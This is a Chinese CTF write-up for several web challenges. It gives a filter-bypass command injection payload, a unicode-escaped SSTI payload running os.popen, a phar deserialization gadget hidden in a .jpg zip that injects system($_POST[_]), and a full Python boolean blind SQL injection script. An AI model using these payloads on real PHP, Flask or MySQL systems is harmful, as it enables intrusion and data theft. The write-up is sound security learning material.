考点:空格绕过、关键字符绕过、斜杠绕过
打开题目,发现直接给的源码
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
发现过滤了好多命令!
尝试ls一下
我们知道的空格 / 已经被过滤 空格可以 ${IFS} 替代 ,那么/怎么办?
一种环境变量的替换 ${HOME:0:1} => 利用环境变量
首先我们先查看一下环境变量有什么 (env被过滤 插入$1 过滤)
可以利用PWD
但是这里不知道怎么
${PWD:0:1}
是没有输出的 但是$PWD
是输出的
我们的思路就是找环境变量第一个字符代替/,${PATH:0:1}
那么就换一种思路
知识点
expr -- 用于在UNIX/LINUX下求表达式变量的值
$() -- 可以执行Linux命令
substr -- 截取字符串 Linux字符串下标从一开始
构造
$(expr substr $PWD 1 1)
# 绕过空格
$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
cmd=c$1at${IFS}$(expr${IFS}substr${IFS}$PATH${IFS}1${IFS}1)ffff$1llllaaaaggggg
这里看了Pysnow师傅的wp,感觉真是妙不可言
放上payload:
cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}ffff?lllaaaaggggg
翻目录,输出flag
unicode编码一下
我这SSTI其实掌握不全 最近两天补一下
网上搜的wp
__globals__ 被过滤 使用
{{url_for.__getitem__['__globals__']xxxxx}}
{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
其实提示给的很明显:phar反序列化
打开题目,查看源码发现了一个class.php
访问他!!
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
# 发现了什么!
file_exists($_GET['file']);
但是在题目 eval 的时候发现前面拼接了#
注释
我的思路
1、闭合前一个 2、换行 \n \r都可以换行 题目 \n = %0a 被过滤 我们选择使用\r绕过
对了上传图片处好像仅仅可以上传jpg
class Evil{
public $cmd;
public function __construct()
{
$this->cmd = "xxxx\rsystem(\$_POST[_]);";
}
}
# 借鉴Pysnow 之前写的有点问题感觉
$zip = new ZipArchive();
$res = $zip->open('getflag.jpg',ZipArchive::CREATE);
$zip->addFromString('getflag.txt', 'getflag');
$flag = serialize(new Evil());
$zip->setArchiveComment($flag);
$zip->close();
我使用的布尔盲注,不过看大佬wp并不是 得到flag就是好的解题方法(dog)
打开题目,ok 熟悉的页面
根据提示查询100试试,ok发现f1ag_is_here 应该不是表名就是列名(后面发现错了呜呜)
没思路,随便的查询下1和0试试,发现0->啊哦,这条留言不存在哦~ 1->好耶!你有这条来自条留言
灵机一动,难道是!!盲注!!
当时我burp fuzz了下 发现ascii substr database等等盲注关键单词没有被过滤 嘿嘿我就不客气了!!
直接上脚本
import requests, time
# 爆破数据库名字
def get_schema_name(url, schema_length):
# chars = 'abcdefghijklmnopqrstuvwxyz0123456789!_,~'
flag = ''
for i in range(1, schema_length + 1):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
data = {'name':f"0^(ascii(substr(database(),{i},1))>{mid})"}
resp = session.post(url=url,data=data)
if success in resp.text:
left = mid + 1
else:
right = mid
time.sleep(0.1)
mid = (left + right) // 2
if mid == 32 or mid == 126:
pass
flag += chr(mid)
print(flag)
# 爆破所有表
def get_tables(url, schema_name):
result = ''
count = 1
sql = f"select(group_concat(table_name))from(information_schema.tables)where(table_schema='{schema_name}')"
while True:
for num in range(32,127):
data={"name":f"0^(ascii(substr(({sql}),{count},1))={num})"}
resp = session.post(url=url,data=data)
if success in resp.text or chr(num) == '~':
result += chr(num)
print(result)
break
time.sleep(0.1)
count += 1
if result[-1] == "~":
return
# 爆破关键表的列
def get_column_by_table(url, table):
result = ''
count = 1
sql = f"select(group_concat(column_name))from(information_schema.columns)where(table_name='{table}')"
while True:
for num in range(32,127):
data = {"name":f"0^(ascii(substr(({sql}),{count},1))={num})"}
resp = session.post(url=url,data=data)
if success in resp.text or num == 126:
result += chr(num)
print(result)
break
time.sleep(0.1)
count += 1
if result[-1] == "~":
return
# 爆破关键的具体字符 username password
def get_value(url, table, *columns):
result = ''
count = 1
c = ''
for column in columns:
c += column + ",'-',"
print(c[:-5])
while True:
for num in range(32,127):
# 根据提示应该是id=100有flag
sql = f"select(group_concat({c[:-5]}))from({table})where(id=100)"
data = {"name":f"0^(ascii(substr(({sql}),{count},1))={num})"}
print(data)
resp = session.post(url=url,data=data)
if success in resp.text or num == 126:
result += chr(num)
print(result)
break
time.sleep(0.1)
count += 1
if result[-1] == '~':
break
if __name__ == '__main__':
# 布尔盲注
session = requests.session()
# 成功的标识
success = '好耶!'
url = "http://234d565f-bb2c-4daf-b44c-f8a6c546a4ec.node4.buuoj.cn:81/comments.php"
# 数据库名字 wfy
# get_schema_name(url=url,schema_length=3)
# 获取表 wfy_admin,wfy_comments,wfy_information
# get_tables(url=url, schema_name='wfy')
# 获得列名
# wfy_information:title,header
# wfy_comments:id,text,user,name,display
# wfy_admin:Id,username,password,cookie
# get_column_by_table(url=url,table='wfy_admin')
# 具体字段 100-f1ag_is_here-You have no way to get my F1AG-flag{We_0nly_have_2wo_choices}
# get_value(url,'text')
跑出来flag:flag{We_0nly_have_2wo_choices}
这里我大部分没有使用二分查找,跑的速度可能慢些 主要我懒得改了 直接遍历是我之前写过一个版本 这里直接拿来修改咯
小伙伴们 注意看这里~~
看了Pysnow师傅的wp 发现考点好像是insert注入 哦弄!!small question! 解出来就好哦
没有学习JAVA,暂时不会哦 抱歉师傅们